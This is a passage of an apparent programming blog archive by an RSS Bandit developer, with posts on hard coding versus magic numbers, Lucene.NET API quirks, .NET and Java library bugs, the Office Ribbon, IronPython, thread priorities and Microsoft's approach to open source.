    10. Runtime Code Generation
    11. Pointers and Unsafe Code
    12. Pass by Reference
    13. Verbatim Strings
    14. Overflow Detection
    15. Explicit Interface Implementation
    16. Friend Assemblies
    17. The Namespace Qualifier
    18. Iterators (Continuations)
    19. Partial Types
    20. Static Classes
    21. Nullable Types
    22. Anonymous Methods

  5. Wish You Were Here
    This section describes language features and concepts that exist in Java and have no C# counterpart.
    1. Checked Exceptions
    2. Cross Platform Portability (Write Once, Run Anywhere)
    3. Extensions
    4. strictfp
    5. Dynamic Class Loading
    6. Interfaces That Contain Fields
    7. Anonymous Inner Classes
    8. Static Imports
  6. Conclusion(2001)
  7. Conclusion (2007)
  8. Resources
  9. Acknowledgements

 

Categories: Programming

The site formerly known as The Daily WTF has an article entitled Soft Coding which contains the following excerpt

Most programmers consider “Hard Coding” to be a Bad Thing: it’s hack-like, inelegant, and all-around lazy code. And as such, many programmers try their damnedest to avoid it. Unfortunately, this quest of avoidance often leads towards a much worse path: complication, convolution, and all-around unmaintainable code. It’s a path I like to call Soft Coding.

Before I discuss the finer details of Soft Coding, I’d like to briefly define Hard Coding. It’s the practice of embedding “things that shouldn’t be in source code” directly inside of source code. The definition is intentionally vague: while most would agree that database connection strings and logfile directories don’t belong in source code, there’s a lot of gray area. Take, for example, this following code:  

private void attachSupplementalDocuments()
{
if (stateCode == "AZ" || stateCode == "TX") {
//SR008-04X/I are always required in these states
attachDocument("SR008-04X");
attachDocument("SR008-04XI");
}

if (ledgerAmnt >= 500000) {
//Ledger of 500K or more requires AUTHLDG-1A
attachDocument("AUTHLDG-1A");
}

if (coInsuredCount >= 5 && orgStatusCode != "CORP") {
//Non-CORP orgs with 5 or more co-ins require AUTHCNS-1A
attachDocument("AUTHCNS-1A");
}
}

I can already feel some of you cringing: Magic Numbers; String Literals; eww, that’s a lot of Hard Coding! However, not a single character in that example is Hard Coded: there is nothing that “shouldn’t be in source code” in the above code. The function simply implements a very clear and very specific business requirement with very clear and very specific code. Anything less and it would be Soft Coded.

I think it is a laudable goal for The Daily WTF to branch out into describing best practices instead of simply gloating at bad code. I assume this is motivated by some of the comments by Jeff Atwood in his post What's Wrong With The Daily WTF. However the problem I have with this article is that it conflates the difference between hard coding and using magic number (or magic strings).  

From the Wikipedia definition of hard coding:

To hard code or hard coding (also, hard-code/hard-coding, hardcode/hardcoding) refers to the software development practice of embedding output or configuration data directly into the source code of a program or other executable object, or fixed formatting of the data, instead of obtaining that data from external sources or generating data or formatting in the program itself with the given input.
...
EXAMPLE: Fixed installation path
If a Windows program is programmed to assume it is always installed to C:\Program Files\Appname and someone tries to install it to a different drive for space or organization reasons, it may fail to install or run after installation.

EXAMPLE: Startup disk
Some "copy-protected" programs look for a particular file on a floppy disk on startup to verify that they are not pirated. If the computer is updated to a newer machine, which doesn't have a floppy drive, the program now can't be run, since the floppy disk can't be inserted.

From the Wikipedia definition of magic numbers:

The term magic number also refers to the bad programming practice of using numbers directly in source code without explanation. In most cases this makes programs harder to read, understand, and maintain. Although most guides make an exception for the numbers zero and one, it is a good idea to define all other numbers in code as named constants.

This is preferable for several reasons:

  • It is easier to read and understand.
  • It is easier to alter the value of the number, as it is not redundantly duplicated. Changing the value of a magic number is error-prone, because the same value is often used several times in different places within a program
  • It facilitates parameterization.

Hard coding is bad because it assumes that information which should be flexible is actually fixed and unchanging. On the other hand, using magic numbers is a code maintenance problem which does not necessarily mean that the program is inflexible.


 

Categories: Programming

Raymond Chen has a blog post entitled You don't know what you do until you know what you don't do where he writes

I've seen a lot of software projects, and one thing I've learned is that you don't have a product until you start saying "No".

In the early phases of product design, you're all giddy with excitement. This new product will be so awesome. It will slice bread. It will solve world hunger. It's designed for everybody, from the technology-averse grandmother who wants to see picture of her grandkids to the IT manager who is in charge of 10,000 computers. It'll run equally well on a handheld device as in a data center.

When I see a product with an all-encompassing description like this, I say to myself, "They have no idea what their product is." You don't know what you do until you know what you don't do. And the sooner you figure out what you don't do the better, because a product that promises to do everything will never ship.

In my five years at Microsoft, I've seen a bunch of projects fail. Some were public flame outs that are still embarrassing to mention today while others are private mistakes that you'll never hear anyone outside the b0rg cube mention. A few months ago I wrote a blog post entitled Top 5 Signs Your Project is Doomed and since then I've considered a few more entries that should be on the list bringing the total to 10. The list below are common signs that a  software project is doomed. Meeting one or two of these criteria isn't necessarily the kiss of death but three or more and you might as well start circulating your resume. 

  1. Trying to do too much in the first version. See Raymond's point above.

  2. Taking a major dependency on unproven technology.

  3. Competing with an existing internal project that was either a cash cow or had backers that are highly placed in the corporate hierarchy.

  4. The team is understaffed. If you have less people than can handle the amount of work you have to do then the right thing to do is to scale back the project. Practically every other choice leads to failure.

  5. Complexity is one of the goals of the project because "complex problems require complex solutions".
  6. Schedule Chicken

  7. Scope Creep

  8. Second System Syndrome

  9. No Entrance Strategy. When a project can't articulate how it goes from a demo or prototype to being in the hands of end users, there's a problem. This is particularly relevant in the "Web 2,0" world where many startups only strategy for success is getting a mention on TechCrunch and the fact that their service has "viral" features.

  10. Tackling a problem you don't know how to solve. It's pretty amazing how often I've seen this occur.


 

Categories: Programming

For the current release of RSS Bandit we decided to forego our homegrown solution for providing search over a user's subscribed feeds and go with Lucene.NET. The search capabilities are pretty cool but the provided APIs leave a lot to be desired. The  only major problem we encountered with Lucene.NET is that concurrency issues are commonplace. We decided to protect against this by having only one thread that modified the Lucene index since a lot of problems seemed to occur when multiple threads were trying to modify the search index.

This is where programming with Lucene.NET turns into a journey into the land of Daily WTF style proportions.

WTF #1: There are two classes used for modifying the Lucene index. This means you can't just create a singleton and protect access to it from multiple threads. Instead one must keep instances of two different types around and make sure if one instance is open the other is closed.

WTF #2: Although the classes are called IndexReader and IndexWriter, they are both used for editing the search index. There's a fricking Delete() method on a class named IndexReader.

Code Taken from Lucene Examples

public void  DeleteDocument(int docNum)
{
lock (directory)
{
AssureOpen();
CreateIndexReader();
indexReader.DeleteDocument(docNum);
}
}

void CreateIndexReader()
{
if (indexReader == null)
{
if (indexWriter != null)
{
indexWriter.Close();
indexWriter = null;
}

indexReader = IndexReader.Open(directory);
}
}


void AddDocument(Document doc)
{
lock (directory)
{
AssureOpen();
CreateIndexWriter();
indexWriter.AddDocument(doc);
}
}

void CreateIndexWriter()
{
if (indexWriter == null)
{
if (indexReader != null)
{
indexReader.Close();
indexReader = null;
}


}
}

As lame as this is, Lucene.NET is probably the best way to add desktop search capabilities to your .NET Framework application. I've heard they've created an IndexModifier class in newer versions of the API so some of this ugliness is hidden from application developers. How anyone thought it was OK to ship with this kind of API ugliness in the first place is beyond me.


 

Categories: Programming

March 2, 2007
@ 12:23 AM

I just got a phone call from an RSS Bandit user whose daily workflow had been derailed by a bug in the application. It seems that we were crashing with an ArgumentException stating "Argument already exists in collection" when she tried to import an OPML file. This seemed weird because I always make sure to check if a feed URL exists in the table of currently subscribed URIs before adding it. Looking at the code made me even more confused


if(!_feedsTable.ContainsKey(f1.link)){
f1.lastretrievedSpecified = true;
f1.lastretrieved = dta[count % dtaCount];
_feedsTable.Add(f1.link, f1); /* exception thrown here */
}

So I looked at the implementations of the ContainsKey() and Add() in my data structure which lead me to the conclusion that we need better unit tests


public virtual bool ContainsKey(String key) {			
  return (IndexOfKey(key) >= 0);
}

public virtual void Add(String key, feedsFeed value) {
	if ((object) key == null)
		throw new ArgumentNullException("key");

	/* convert the URI to a canonicalized absolute URI */ 
	try{
		Uri uri = new Uri(key); 
		key = uri.AbsoluteUri;
		value.link = key; 
	}catch {}

	int index = IndexOfKey(key);

	if (index >= 0)
		throw new ArgumentException(
			"Argument already exists in collection.", "key");

	Insert(~index, key, value);
}

My apologies to any of our users who have been hit by this problem. It'll be fixed in the final release of Jubilee.


 

Categories: Programming | RSS Bandit

I've mentioned in the past that I like the SessionSaver extension for Firefox and would like to implement similar functionality for RSS Bandit. I finished up this feature last night but I kept getting weird behavior. The expected behavior is that when RSS Bandit is launched it remembers the application state from the last time it was closed such as whether it was minimized to the system tray, open browser tabs, what nodes in the feed subscription tree were expanded and what news item(s) were selected. 

The weird behavior was that every once in a while when the application restarted, I'd get an InvalidActiveXStateException which was thrown from the IWebBrowser2.Navigate method when restoring the open browser tabs from the previous time the application ran. Further investigation narrowed the issue down to only showing up when the application had been minimized to the system tray when it was closed and thus being immediately minimized to the system tray when the application was restarted. 

I managed to read a comment on some forum that indicated that the problem is that IWebBrowser2.Navigate method doesn't work if the WebBrowser control isn't visible. This means that this feature won't work as smoothly as I'd like when the application is restarted after being closed from the system tray but it does get rid of the ugly exception.

I hope this blog post explains why the feature will seem wonky in this situation for our users and may prove useful to developers who come across this weird error in the future.


 

Categories: Programming | RSS Bandit

I just found the post Mr. Gosling - why did you make URL equals suck?!? on programming.reddit.com and just had to share

Okay, I’m totally hacked! java.net.URL class officially sucks! The equals method on this shining example of the JDK API mess actually does a blocking DNS lookup on the host string to resolve to an IP address and then compares the IP addresses rather than the host string. What freakin’ sense does that make?

Simple example:

URL url1 = new URL("http://foo.example.com");
URL url2 = new URL("http://example.com");

Let’s say these map to these IP addresses:

http://foo.example.com => 245.10.10.1
http://example.com => 245.10.10.1

Here’s the scary part:

url1.equals(url2) => true!

That's definitely the best example of code that deserves to be on The Daily WTF I've seen from a standard library. Just thinking about all the code I have in RSS Bandit that tests URLs for equality, it boggles my mind to think a standard library could have such a craptacular implementation of the equals() method.

Anyone have similar examples from other standard libraries (C++, .NET, JDK, Ruby, etc)? I need some bad code to cheer me up after a day that's already had too many meetings. :)


 

While browsing my referrer logs I noticed a lot of hits from a comment on Jensen Harris's blog post about the Office 2007 UI being licenced. Below is the comment which has driven several hundred page views on my blog

Mike Dimmick said:

As an example of how a developer could horribly misuse the Ribbon interface, see Dare Obasanjo's proposal for RSS Bandit: http://www.25hoursaday.com/weblog/CommentView.aspx?guid=29141fb4-efb0-4ae2-aba6-59ae2096feee

My reason for moving to a ribbon-like interface for the Phoenix release of RSS Bandit was because I was under the impression that the Ribbon was the wave of the future with regards to application user interfaces in Windows. However I just read a blog post by Mike Torres entitled More on the Office 2007 UI where he points out that practically every Windows application released by Microsoft this year has abandoned the traditional File menu and toolbar structure in a different way. Below are links to the screenshots from Mike's post [and one extra which was suggested by Omar]

  1. Office 2007
  2. Windows Media Player 11
  3. Windows Live Messenger 8
  4. Windows Photo Gallery
  5. Windows Live Mail Desktop
  6. Internet Explorer 7

As you can se all of the above applications which where shipped by Microsoft this year embraced the idea of getting rid of the traditional File menu and toolbars yet didn't agree on what to replace them with. As a developer of a Windows application, it is clear to me that the traditional yet consistent File menu and toolbar look is now played out on Windows. The main question is which app I should emulate. If history tells me anything, I can't go wrong betting on Office driving user expectations around what Windows applications should act and feel like. I'm glad to see Infragistics on the list of vendors who will be adopting the Office 2007 UI guidelines. This means we'll likely inherit some best practices around using the Office 2007 Ribbon for free since we now use the Infragistics NetAdvantage GUI components in RSS Bandit.

If this means, I'm going to get people like Mike Dimmick flaming me for not living up to the vision of the 'Ribbon' then so be it. I'd rather that than an application that looked old and busted instead of being the new hotness. ;)


 

Categories: Programming | RSS Bandit

November 8, 2006
@ 05:32 PM

From the Microsoft press release entitled Microsoft Rallies Developers to Build Next-Generation Applications we learn

LAS VEGAS — Nov. 6, 2006 — Microsoft Corp. today unveiled new technologies that enable developers to build next-generation interactive applications for Windows Vista™, the 2007 Microsoft® Office system and the Web. The new technologies are designed to help developers build Web services and connected, service-oriented applications that deliver the levels of security, reliability and differentiation that business and consumers expect.
...
The technologies announced today include the following:
•    The release to manufacturing of Microsoft .NET Framework 3.0, which provides advances for building rich, interactive client applications (Windows Presentation Foundation), communication and workflow (Windows Communication Foundation and Windows Workflow Foundation) and online identity management (Windows CardSpace).

So it looks like v1 of Avalon, Indigo and InfoCard are finally out. Congratulations to all the people who've been working on these technologies for the last couple of years. It'll be interesting to see what kind of changes to Windows GUI applications comes from the availability of WPF and also whether the developer community agrees that WCF supports building RESTful Web services as much as some folks have been telling me.


 

Categories: Programming

Joel Spolsky has a blog post entitled Wasabi where he writes

In most deployed servers today, the lowest common denominators are VBScript (on Windows), PHP4, and PHP5 (on Unix). If we try to require anything fancier on the server, we increase our tech support costs dramatically. Even though PHP is available for Windows, it's not preinstalled, and I don't want to pay engineers to help all of our Windows customers install PHP. We could use .NET, but then I'd have to pay engineers to install Mono for all our Unix customers, and the .NET runtime isn't quite ubiquitous on Windows servers.

Since we don't want to program in VBScript or PHP4 or even PHP5 and we certainly don't want to have to port everything to three target platforms, the best solution for us is a custom language that compiles to our target platforms.

Since we are not blub programmers, we like closures, active records, lambdas, embedded SQL a la LINQ, etc. etc. and so those are the kinds of features we put into Wasabi.

And since FogBugz goes back many years and was originally written in VBScript, Wasabi is 100% backwards-compatible with VBScript but includes obvious improvements. """Multiline strings.""" Dim a = 0. And so on.

Most people don't realize that writing a compiler like this is only about 2 months work for one talented person who read the Dragon book. Since the compiler only has one body of code to compile, it is much easier to write. It doesn't have to be a general-purpose compiler. It doesn't have a math library, for example.
...
That said, there are major drawbacks. The documentation is a little bit thin and disorganized, because we've only documented the diffs to VBScript, not the whole language. Programmers that join Fog Creek might take a little bit longer getting up to speed. Our edit-compile-test loop got slower because there's one more step.

Should you write your own compiler? Maybe, if you're doing something that's different enough from the mainstream and if there's no good off-the-shelf technology for your problem. There's a good chance that the domain you're working in could really use a domain-specific language.

This sounds like one of those things that sounds like a great way to reduce costs and lower productivity at first until you've had to live with this decision for a few years. There are a couple of other drawbacks to consider that Joel doesn't mention in his post either because they haven't had time to occur yet or probably because FogCreek may be a special case due to Joel's reputation.

  1. Recruiting new employees: Getting four years of experience using Java, C# or even Ruby is one thing. On the other hand, who wants to test what the marketability of "4 years of Wasabi experience" is on their resume?

  2. Programming languages and runtimes evolve: My intern started yesterday and he mentioned that he knows Java but not C#. I gave him a link to C# from a Java developer's perspective which was the most comprehensive comparison of both languages I could find. Since that article was written Java 1.5 has added generics, enumerations, boxing of value types and changed the syntax of the for loop. Similarly C# 2.0 has added generics, nullable types and anonymous methods. By C# 3.0 we'll have lambda expressions, type inferencing of local variables and embedded SQL-like query all built into the language.

    Imagine that you rolled your own language because C# or Java didn't have some of the above features (e.g. closures, lambdas, embedded SQL, etc). At what point do you decide that it makes more sense to keep going with your in-house programming language versus participating in the ecosystem of developer tools that exist around these technologies?

  3. Attrition: What happens when your compiler guru who cut his teeth on a twenty year old textbook on compiler theory decides to leave for greener pastures? Who's going to maintain and update your homegrown programming language as the field of software development evolves and customer requirements change?

These are just some of the problems Joel glosses over as he makes the case for rolling your own programming languages. What may have seemed like a good idea once upon a time often may turn out to be a bad decision in hindsight. Only time will tell, if Wasabi becomes one of those stories or not. 


 

Categories: Programming

In what seems like an interesting bit of corporate tit for tat I noticed the following two announcements this week

In his blog post entitled IronPython 1.0 released today! Jim Hugunin of Microsoft writes

I’m extremely happy to announce that we have released IronPython 1.0 today!

I started work on IronPython almost 3 years ago.  My initial motivation for the project was to understand all of the reports that I read on the web claiming that the Common Language Runtime (CLR) was a terrible platform for Python and other dynamic languages.  I was surprised to read these reports because I knew that the JVM was an acceptable platform for these languages.  About 9 years ago I’d built an implementation of Python that ran on the JVM originally called JPython and later shortened to Jython.  This implementation ran a little slower than the native C-based implementation of Python (CPython), but it was easily fast enough and stable enough for production use – testified to by the large number of Java projects that incorporate Jython today.
...
The more time I spent working on IronPython and with the CLR, the more excited I became about its potential to finally deliver on the vision of a single common platform for a broad range of languages.
...
IronPython is about bringing together two worlds.  The key value in IronPython is that it is both a true implementation of Python and is seamlessly integrated with the .NET platform. 

In other news, Tim Bray of Sun Microsystems has a blog post entitled JRuby Love where he writes

Charles Nutter and Thomas Enebo, better known as “The JRuby Guys”, are joining Sun this month. Yes, I helped make this happen, and for once, you’re going to be getting the Sun PR party line, because I wrote most of it.

Jacki DeCoster, one of our PR people, tried to imagine what kinds of questions people would have, and we went from there.

Why is Sun hiring JRuby developers Charles Nutter and Thomas Enebo? · First, they are excellent developers. Technologies like Ruby are getting intense interest from the developer community, and Sun is interested in anything that developers care about. ¶

What will their new role be at Sun? · First, they have to get JRuby to 1.0 and make sure that the major applications are running smoothly and are performant.

Interesting times indeed. My time spent on working with XML has made me appreciate the power of dynamic languages and I'll definitely be givin gIronPython a shot. I've started reading Dive Into Pythonand once I'm done I think my first programming assignment will be to write an IBlogExtension plugin for RSS Bandit that lets you post to your blog using Windows Live Writer.


 

Categories: Programming

While working on the favicon support for RSS Bandit I've been seeing some weird errors where a favicon for a particular website (e.g. Jamie Zawinski's favicon) cause a weird out of memory exception to be thrown when trying to load the image using the FromFile() method of the System.Drawing.Image class

It turns out the problem is spelled out in KB 810109: You receive a "System.OutOfMemoryException" error message when you try to use the Bitmap.FromFile method in the .NET Framework 1.0 which reads

SYMPTOMS
When you try to load an image by using the Bitmap.FromFile method in the Microsoft .NET Framework 1.0, you receive the following error message:
    An unhandle exception of type 'System.OutOfMemoryException' occurred in system.drawing.dll

CAUSE
This problem may occur when you use the Bitmap.FromFile method and one of the following conditions is true:
•    The image file is corrupted.
•    The image file is incomplete.

Note You may experience this problem if your application is trying to use the Bitmap.FromFile method on a file stream that is not finished writing to a file.
•    The image file does not have a valid image format or GDI+ does not support the pixel format of the file.
•    The program does not have permissions to access the image file.
•    The BackgroundImage propery is set directly from the Bitmap.FromFile method.

I'm posting this here so I have a handy pointer to it once I start getting bug reports about this feature not working correctly once we ship Jubilee. This feature definitely does jazz up the look of the application, so far my favorite favicon has been from the Dead 2.0 weblog.


 

Categories: Programming | RSS Bandit

Jeff Atwood has a blog post entitled Thread Priorities are Evil where he writes

Joe Duffy is something of an expert on the topic of threading and concurrency-- he works for Microsoft on CPU-based parallelism in the .NET Common Language Runtime-- and he has this to say:

Messing with [thread] priorities is actually a very dangerous practice, and this is only one illustration of what can go wrong. (Other illustrations are topics for another day.) In summary, plenty of people do it and so reusable libraries need to be somewhat resilient to it; otherwise, we get bugs from customers who have some valid scenario for swapping around priorities, and then we as library developers end up fixing them in service packs. It's less costly to write the right code in the first place.

Here's the problem. If somebody begins the work that will make 'cond' true on a lower priority thread (the producer), and then the timing of the program is such that the higher priority thread that issues this spinning (the consumer) gets scheduled, the consumer will starve the producer completely. This is a classic race. And even though there's an explicit Sleep in there, issuing it doesn't allow the producer to be scheduled because it's at a lower priority. The consumer will just spin forever and unless a free CPU opens up, the producer will never produce. Oops!

The moral of the story? [Thread] priorities are evil, don't mess with them.

Although there are some edge conditions where micromanaging thread priorities can make sense, it's generally a bad idea. Set up your threads at normal priority and let the operating system deal with scheduling them. No matter how brilliant a programmer you may be, I can practically guarantee you won't be able to outsmart the programmers who wrote the scheduler in your operating system.

On reviewing the RSS Bandit code it seems that we use ThreadPriority.BelowNormal and ThreadPriority.Lowest in a bunch of places which may cause the kind of deadlocks Joe Duffy describes. This is yet another example of why multithreaded programming is the spawn of Satan.


 

Categories: Programming

Jon Udell proves again why he's my favorite technology journalist with his piece Why Microsoft should open XAML where he writes

The WPF/E runtime won’t implement all of XAML (XML Application Markup Language), a .Net language tuned for declarative application layout. But “the portion of XAML we’ve picked,” Gates told me, “will be everywhere, absolutely everywhere, and it has to be.”

“Everywhere” means the kind of ubiquity that the Flash player enjoys on Windows and Mac desktops, and to a lesser extent on Unix and handheld devices. And it sets up an arms race between Adobe and Microsoft, each giving away razors (that is, players) in order to sell blades (development tools).

Here’s a crazy idea: Open-source the WPF/E, endorse a Mono-based version, and make XAML an open standard. Why? Because an Adobe/Microsoft arms race ignores the real competition: Web 2.0, and the service infrastructure that supports it.

The HTML/JavaScript browser has been shown to be capable of tricks once thought impossible. Meanwhile, though, we’re moving inexorably toward so-called RIAs (rich Internet applications) that are defined, at least in part, by such declarative XML languages as Adobe’s MXML, Microsoft’s XAML, Mozilla’s XUL (XML User Interface Language), and a flock of other variations on the theme.

Imagine a world in which browsers are ubiquitous, yet balkanized by incompatible versions of HTML. That’s just where RIA players and their XML languages are taking us. Is there an alternative? Sure. Open XAML. There’s a stake in the ground that future historians could not forget.

When building rich internet applications today, the primary choices are AJAX and Flash. The reason that these are the two primary choices versus other options like Java, ActiveX, XUL, etc is their ubiquity. And AJAX is typically preferred over Flash because it doesn't require expensive development tools and there is the perception that AJAX is less proprietary than Flash.

Any technology that aims to compete with Flash and AJAX, has to be cross platform (i.e. works in Firefox and Internet Explorer at the minimum) and ubiquitous. Ubiquity can be gained either by taking advantage of the existing technologies within the browsers or by ensuring that the process for getting the runtimes on user's machines is seamless for end users. I have no doubt that Microsoft can eventually get development platforms ubiquitous on Windows. Earlier this week, I was reading a number of blog posts from people who tried out Windows Live Writer and don't remember anyone complaining about needing to have the .NET Framework installed to run it. It took a few years but it seems the .NET Framework is now on a majority of PCs running Windows if those blog posts is any indication. However it's taken a couple of years for that to happen.

If WPF/E is meant to be used in the same situations that AJAX and Flash are used today then it needs to give developers better advantages than the incumbents. If it was ubiquitous and cross platform, that would still just get it in the door. Jon Udell's idea to make it an Open platform on the other hand may take it to the tipping point. At the end of the day, Microsoft should favor building the ecosystem of rich internet applications that are accessible from Windows PCs than competing with Adobe for dollars from selling development tools for rich internet applications. This seems to be a better strategy to me. 

Disclaimer: The above post contains my own opinions and does not reflect the intentions, strategies, plans or thoughts of my employer


 

Categories: Programming | Web Development

Don Demsak has a blog post entitled Open Source Projects As A Form Of Community Service which links to a number of blog posts about the death of the NDoc project. He writes

Open source projects have been the talk of the tech blogs recently with the announcement that NDoc 2 is Offcially Dead, along with the mention that the project's sole develop was a victim of an automated mail-bomb attack because the project wasn't getting a .Net 2.0 version out fast enough for their liking.  Kevin has decided to withdraw from the community, and fears for himself and his family.  The .Net blogging community has had a wide range of reactions:

  • Phil Haack talks about his ideas behind helping/saving the open source community and laid down a challenge. 
  • Eric Wise mentions that he will not work on another FOSS project. 
  • Scott Hanselman laments that Microsoft hasn't put together an Ineta like organization to handle giving grants to open source projects, and also shows how easy it is to submit a patch/fix to a project.
  • Peter Provost worries that bringing money into the equation may spoil the cool part of community developed software, and that leadership is the key to good open source projects.
  • Derek Denny-Brown says that "Microsoft needs to understand that Community is more than just lots of vendors creating commercial components, or MVPs answering questions on newsgroups".

I've been somewhat disappointed by the Microsoft developer division's relationship with Open Source projects based on the .NET Framework and it's attitude towards source code availability in general. Derek Denny-Brown's post entitled Less Rambling Venting about Developing for .Net hit the nail on the head for me. There are a number of issues with the developer community around Visual Studio and the .NET Framework that are raised in Derek's post and the others mentioned above. The first, is what seems like a classic case of Not Invented Here (NIH) in how Microsoft has not only failed to support Open Source projects that fill useful niches in the Visual Studio ecosysem but eventually competes with them (Nant vs. MSBuild, NUnit vs. Visual Studio Team System and now Sandcastle vs. NDoc). My opinion is that this is a consequence of Microsoft's strategy of integrated innovation which encourages Microsoft's product teams to pursue a seamless end-to-end experience where every software application in the business process is a Microsoft product. 

Another issue is Microsoft's seeming ambivalence and sometimes antipathy towards Open Source software. This is related to the fact that the ecosystem around Microsoft's software platforms (i.e. customers, ISVs, etc) is heavily tilted towards commercial software development. Or is that vice versa? Either way, commercial software developers tend to view Open Source as the bane of their existence. This is unfortunate given that practically every major software development platform that the .NET Framework and Visual Studio competes with is either Open Source (e.g. PHP, Perl, Python, Ruby) or at the very least encourages source code availability (e.g. Java). Quite frankly, I personally would love to the .NET Framework class libraries being Open Source or at the very least have the source code available in the same way Sun has done with the JDK. I know that there is the Shared Source Common Language Infrastructure (SSCLI) which I have used on occassion when having issues during RSS Bandit development but it isn't the same.

So we have a world where the developer community around Microsoft's products is primarily interested in building and using commercial software while the company pursues an integration strategy that guarantees that it will compete with projects that add value on its platform. The questions then are whether this is a bad thing and if so, how do we fix it?


 

On Friday, S. "Soma" Somasegar posted an entry in his blog entitled .NET Framework 3.0 where he wrote

When speaking to developers about WinFX one question that repeatedly comes up is, “WinFX sounds great, but what happens to .NET?” .NET Framework has becomes the most successful developer platform in the world.  Developers know and love .NET.

The .NET Framework has always been at the core of WinFX, but the WinFX brand didn’t convey this.  The WinFX brand helped us introduce the incredible innovations in terms of Windows Presentation Foundation (WPF), Windows Communication Foundation (WCF), Windows Workflow Foundation (WF) and the newly christened Windows CardSpace (WCS) formerly known under the codename “InfoCard.”  The brand also created an unnatural discontinuity between previous versions of our framework and the current version.

With this in mind we have decided to rename WinFX to the .NET Framework 3.0.  .NET Framework 3.0 aptly identifies the technology for exactly what it is – the next version of our developer framework.
...
The .NET Framework 3.0 will still ship with Windows Vista, and will be available down-level for Windows XP and Windows Server 2003 as planned.  This change doesn’t affect in any way the ship schedules of either Windows Vista or the .NET Framework 3.0 itself.

The good news to me isn't that Microsoft is fixing the branding confusion around having both WinFX and the .NET Framework. It is cool but what is more interesting is that developers can count on having Avalon (WPF) and Indigo (WCF) on every Windows Vista computer. As someone who's written an application based on the .NET Framework, it totally sucks that I still can't assume that every modern PC running the most up-to-date version of the operating system has the .NET Framework installed. It's finally gotten to the point where .NET Framework v1.1 has mass market penetration but we are on .NET Framework v2.0 and right now [based on my server logs] it looks like for every 1 person who is using v2.0 of the .NET Framework to access my site, there are 10 people on v1.1 of the .NET Framework. It's going to take at least a few more years for that ratio to get any better.

I've been wondering whether there is any point looking at Avalon given that it at this rate it could be four or five years before it has enough mass market penetration to be worth targetting exclusively. With the .NET Framework 3.0 shipping with every Windows Vista PC, the adoption rate should be a lot more rapid than what we've seen for previous versions of the .NET Framework. So now the next question for me is whether LINQ (aka C# 3.0) is expected to ship as part of the .NET Framework 3.0? If so, this would be the most interesting development for Windows developers I've heard all year.

This is probably old news to a bunch of folks but it is news to me.


 

Categories: Programming